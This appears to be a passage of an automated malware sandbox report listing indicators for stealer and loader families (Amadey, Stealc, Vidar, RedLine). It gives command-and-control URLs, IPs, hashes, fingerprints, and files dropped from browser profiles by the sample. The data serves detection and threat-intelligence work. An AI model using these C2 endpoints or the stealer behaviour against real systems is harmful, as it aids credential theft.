	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
185.215.113.19	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.22664.27275.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	LbMTyCFRzs.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
contile.services.mozilla.com	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Babadeda	Browse	192.0.0.171
	file.exe	Get hash	malicious	Babadeda	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	192.0.0.170
	file.exe	Get hash	malicious	Babadeda	Browse	192.0.0.170
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	engine.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	invoker.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	tgmes.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	x.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	invoker.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	locker.ps1	Get hash	malicious	TrojanRansom	Browse	34.117.59.81
WHOLESALECONNECTIONSNL	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
GES-ASRU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
WHOLESALECONNECTIONSNL	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AECAECFCAAEBFHIEHDGHDHCBAK

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEHIECAFCGDBFHIDBKFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDHDGCBFBKECBFHCAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHDAFIIDAKJDGDHIDAKJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDAFCAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECAEHJJJKJKFIDGCBGIJJJEHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEGCGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKJJEGIDBGIDGCBAFHCGCGCGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8ec8c5c339.exe_11f9e6f50925d59ff337ab9ea505e88f9c27f_ead0fcb4_1198fe4c-3e59-49b5-9b3d-6e0403735303\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9639298405464303
Encrypted:	false
SSDEEP:	192:kaVce5Y05kXIMjldZrP2yzuiFgZ24IO8e:VVt5z5kXIMj1VzuiFgY4IO8e
MD5:	183B7AB320042B1715EDE48AF0399634
SHA1:	27186AECB88712075C43FCC6F4409F1B8BE51A9E
SHA-256:	BBB5730A7BE5FFFE5B8C8C6CA57E658ED71C1292427C87C428B1DC2223AFB0ED
SHA-512:	90291F303576CB3E156B438D05C4052194164B609A700DA601123F7AFF1B6AD42FBB194FA128FA52036E8DCF991F5358039FBCC95DB5EA5DAFE045ED966F9B7F
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.2.5.1.8.6.9.7.0.1.0.8.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.2.5.1.8.7.6.4.2.0.1.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.1.9.8.f.e.4.c.-.3.e.5.9.-.4.9.b.5.-.9.b.3.d.-.6.e.0.4.0.3.7.3.5.3.0.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.f.1.d.5.2.7.-.a.7.d.7.-.4.4.f.7.-.b.0.4.3.-.5.3.5.2.4.f.2.6.6.9.4.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.e.c.8.c.5.c.3.3.9...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.3.5.0.-.0.0.0.1.-.0.0.1.4.-.a.5.3.a.-.2.6.9.8.d.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.2.6.6.7.3.e.e.b.0.9.9.4.4.d.8.5.1.5.d.c.f.d.b.7.5.5.4.1.6.e.f.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.8.e.c.8.c.5.c.3.3.9...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8ec8c5c339.exe_11f9e6f50925d59ff337ab9ea505e88f9c27f_ead0fcb4_f47d5e4c-9543-46c7-9068-4d788eb57bf1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9636934979559353
Encrypted:	false
SSDEEP:	192:d33mvj5Y05kXIMjldZrP2azuiFgZ24IO8e:1Ij5z5kXIMj19zuiFgY4IO8e
MD5:	38723826374C93D004D8DC2BD33DDFE8
SHA1:	81D418E22D85CABDC01D731CB9FEF8A5E9718458
SHA-256:	03B0F7717C32A2AE77D6CE54480581F0BBD39E9CAEA226D34D03598F68E7F8D2
SHA-512:	FF27E664C5632296A5DC2E684810B6100877ABC5400466F02D2E830AC2F58C79A070E55D32FB753E1A2C59C249B7FB31257627B332415BEB8F3EE3E2C499BD49
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.2.5.1.7.1.7.1.6.4.5.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.2.5.1.7.2.5.1.3.3.3.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.4.7.d.5.e.4.c.-.9.5.4.3.-.4.6.c.7.-.9.0.6.8.-.4.d.7.8.8.e.b.5.7.b.f.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.c.b.d.5.e.0.-.f.f.a.8.-.4.d.c.f.-.9.4.f.f.-.5.9.1.8.9.e.5.4.7.1.4.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.e.c.8.c.5.c.3.3.9...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.0.-.0.0.0.1.-.0.0.1.4.-.b.0.f.7.-.2.e.8.e.d.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.2.6.6.7.3.e.e.b.0.9.9.4.4.d.8.5.1.5.d.c.f.d.b.7.5.5.4.1.6.e.f.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.8.e.c.8.c.5.c.3.3.9...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8ec8c5c339.exe_96fd7593117a51ef401955134535525854013e0_ead0fcb4_265c04e2-7da8-4aeb-b407-742220e2345d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1314976263535812
Encrypted:	false
SSDEEP:	192:+WP0U5dO0xSzIDLjEhZrMZ2VU5zuiFgZ24IO8e:BP0U5d1xsIDLjb0IzuiFgY4IO8e
MD5:	D9FCB17D0182D3A4FACE4605140F35D5
SHA1:	2FD56B97A6AB990A9CB1898A3617F2F423696B2D
SHA-256:	0EF58D9C10E0CAF225B8F908309BE50989D347AE3F93B1C5EF7ECACF1B3D3588
SHA-512:	09FD2AE1819ED85C383EA1D8ED5222BF638DB757105674385E4031865B6629231CDC130A8A0597E1A9051EB851640D71BFE16671F8944BDE6139F53BA908E0E9
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.2.5.1.7.0.4.0.2.8.8.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.2.5.1.7.1.6.5.2.8.9.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.5.c.0.4.e.2.-.7.d.a.8.-.4.a.e.b.-.b.4.0.7.-.7.4.2.2.2.0.e.2.3.4.5.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.6.b.c.a.9.b.e.-.a.e.f.3.-.4.d.e.b.-.8.3.2.a.-.d.e.7.f.b.2.4.3.3.8.a.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.e.c.8.c.5.c.3.3.9...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.7.4.-.0.0.0.1.-.0.0.1.4.-.0.9.7.a.-.5.3.8.7.d.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.2.6.6.7.3.e.e.b.0.9.9.4.4.d.8.5.1.5.d.c.f.d.b.7.5.5.4.1.6.e.f.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.8.e.c.8.c.5.c.3.3.9...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER800F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 03:39:30 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60217
Entropy (8bit):	2.751376040018517
Encrypted:	false
SSDEEP:	384:/nwQZheVQEkEl8FXK/4vKcSvYEZpZ/H1tMZDAqlzevU1X:/wAheVVkEKpy5HHGvVevU5
MD5:	71001CE1A6E726F3B4CC7CB72DF709FB
SHA1:	C683142E522DCF0CB65C3162CC9A15EE0667F15D
SHA-256:	60EA2F69668DCF015E2D99DA35A6914889589D18C4878FCEB55D211DA88761D6
SHA-512:	F24D33B0903DC9289A57C28319648FB7FD797DFE3E0B6A78324F70158DF9E67FF03D89A6AE2751F1BEA72237A75AFBF72420EE3A6371EBA8E6AB2F00257721FF
Malicious:	false
